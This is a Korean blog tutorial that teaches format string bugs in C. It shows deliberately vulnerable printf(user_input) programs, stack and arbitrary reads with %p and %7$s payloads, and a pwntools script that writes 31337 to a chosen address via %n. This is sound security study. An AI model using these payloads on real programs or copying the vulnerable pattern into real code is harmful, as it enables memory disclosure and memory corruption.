[Pwnable] Format String Bug
오늘은 Format String Bug에 대해 학습해보겠습니다.
Format String Bug는 C언어의 printf(), sprintf(), fprintf() 같은 가변 인자 함수를 잘못 사용할 때 발생하는 보안 취약점입니다.
개발자가 사용자로부터 입력받은 문자열을 포맷 스트링 자체로 사용하는 경우 취약점이 발생합니다.
printf(input_string);
위와 같은 코드에서 공격자가 input_string에 %s, %x, %n 같은 포멧 지정자를 삽입하면, 메모리 정보 노출(%s, %p)이나 임의 쓰기(%n)을 사용할 수 있습니다.
포멧스트링에서의 전체 문법 구조입니다.
%[parameter][flags][width][.precision][length][specifier]
여기서 parameter, width, length, specifer가 공격 때 사용하는 중요 구성 요소입니다.
1. [parameter] (파라미터 지정자)
N$ 형태를 사용합니다.
printf에 전달된 인자들의 순서를 지정할 때 씁니다.
예: printf("%2$d, %1$s", "hello", 123); -> 두번째 인자인 123을 먼저 출력
2. [width] (폭)
출력될 내용이 최소한으로 차지할 칸의 수를 지정
3. [length]
인자의 실제 데이터 타입이 기본형과 다를 때 명시합니다.
| hh | 해당 인자가 char 크기를 나타냄 |
| h | 해당 인자가 short int 크기를 나타냄 |
| l | 해당 인자가 long int 크기임을 나타냄 |
| ll | 해당 인자가 long long int 크기임을 나타냄 |
4. [specifier]
가장 중요한 부분으로, 데이터를 어떤 형식으로 해석할지 결정합니다.
(d,x,p,s 등등 .. )
포멧 스트링을 사용자가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기가 가능합니다.
다음과 같은 코드를 보겠습니다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
위와 같은 코드를 준비하고 gcc로 컴파일해주겠습니다.

gcc에서 포멧스트링버그에대한 경고를 포함해줍니다.
이제 인자값으로 %p/%p/%p/%p/%p/%p을 넣어보겠습니다.

이렇게 입력을 주면 printf에 전달한 인자가 없는데도 값이 호출되는데, x86-64규약에서 포멧 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8] ..이 출력된 결과입니다.
-> 레지스터의 일부와 스택 값을 읽어오는 것이 가능합니다.
다음 코드를 확인해보겠습니다.
.
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
char *secret_message = "THIS_IS_SECRET_PASSWORD";
int main() {
// 2. 스택에 비밀 데이터의 '주소'가 저장됨
char *secret_address = secret_message;
char user_input[100];
scanf("%s", user_input);
printf(user_input);
return 0;
}
gcc로 컴파일하고 실행한 뒤 입력값으로 %N$s (N은 숫자)를 입력해봅니다.
N의 값이 스택에 저장된 secret_address와 일치하는 순간 THIS IS SECRET PASSWORD라는 문자열이 출력됩니다.

여러번 실행시키고 입력값의 N을 1씩 증가시키면서 넣었고, %7$s를 입력했을 때 SECRET_PASSWORD가 나오는 것을 확인할 수 있습니다.

main을 디스어셈블한 결과입니다.
0x0000000000001191 <+8>: add rsp,0xffffffffffffff80
처음 스택 공간을 확보할 때 0x80만큼 확보합니다.
0x00000000000011a4 <+27>: mov rax,QWORD PTR [rip+0x2e65] # 0x4010 <secret_message>
0x00000000000011ab <+34>: mov QWORD PTR [rbp-0x78],rax
secret message를 rax에 가져오고 rbp-0x78위치에 저장합니다.
0x00000000000011ce <+69>: mov rdi,rax
0x00000000000011d6 <+77>: call 0x1080 <printf@plt>
printf 구문을 호출할 때 첫번째 인자를 rdi레지스터로 받습니다.
이때 printf가 %N$s와 같은 포맷을 만나면 N번째 인자를 찾게 되는데 1번 ~ 6번 인자는 레지스터에 저장되어있고 7번째 인자는 스택에 저장되어 있습니다.
이때 printf 바로 앞의 스택엔 secret_addres가 저장되어 있기 때문에 시크릿 주소가 호출되고 값이 담기게 됩니다.
위의 코드에서 변형한 코드를 보겠습니다.
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
secret값을 알고 있는 상태에서 해당 주소의 값을 출력하는 것이 목표입니다.
여기서 저희가 format에 값을 쓰면 해당 값은 스택에 있는 format 버퍼에 그대로 복사되서 들어갈 것 입니다.

페이로드가 포함된 스택은 다음과 같이 정렬됩니다.
printf가 %7$s를 만나면 7번째 인자(스택)에서 출력하고, 해당 위치가 format[8]과 일치하기때문에 %s명령에 따라 해당 주소의 문자열을 출력하게 됩니다.
주소를 입력하는건 pwntools를 사용해야 하기 때문에 exploit.py로 작성을 했고여
다음과 같은 코드가 나옵니다. %7$s뒤의 aaaa는 패딩을 채워놓는 용도입니다.

실행시 위와 같은 결과가 나오게 됩니다.
이번엔 임의 주소 쓰기를 확인해보겠습니다.
포멧 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있습니다.
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%s", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
다음과 같은 코드를 보겠습니다.
int secret이라는 변수가 선언되어 있고, secret의 주소가 프린트 됩니다.
저희는 Format: 이라는 입력을 통해, secret변수에 값을 쓰는 것이 목표입니다.
from pwn import *
p = process("./fsb")
p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
print(addr_secret)
#fstring = b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
위와 같이 코드를 작성하면 secret주소를 버퍼에 담은 뒤 %n$n을 통해 값을 쓸 수 있습니다. 이때 %31337c와 같은 경우는 31337만큼의 문자를 출력하고, printf 내부의 글자출력 카운터값인 31337을 쓰는 메커니즘입니다.

익스플로잇을 실행해보면 공백 출력 이후에 Secret값에 정확이 31337이 들어감을 확인할 수 있습니다.
여기까지 해서 포멧 스트링에 대한 지식 습득을 마치겠습니다.
조금 만만히 보고 접근을 했었는데 생각보다 너무 어려웠던 것 같습니다.
다음에는 Format String Bug를 이용한 문제 풀이 write up을 작성해보겠습니다.
읽어주셔서 감사합니다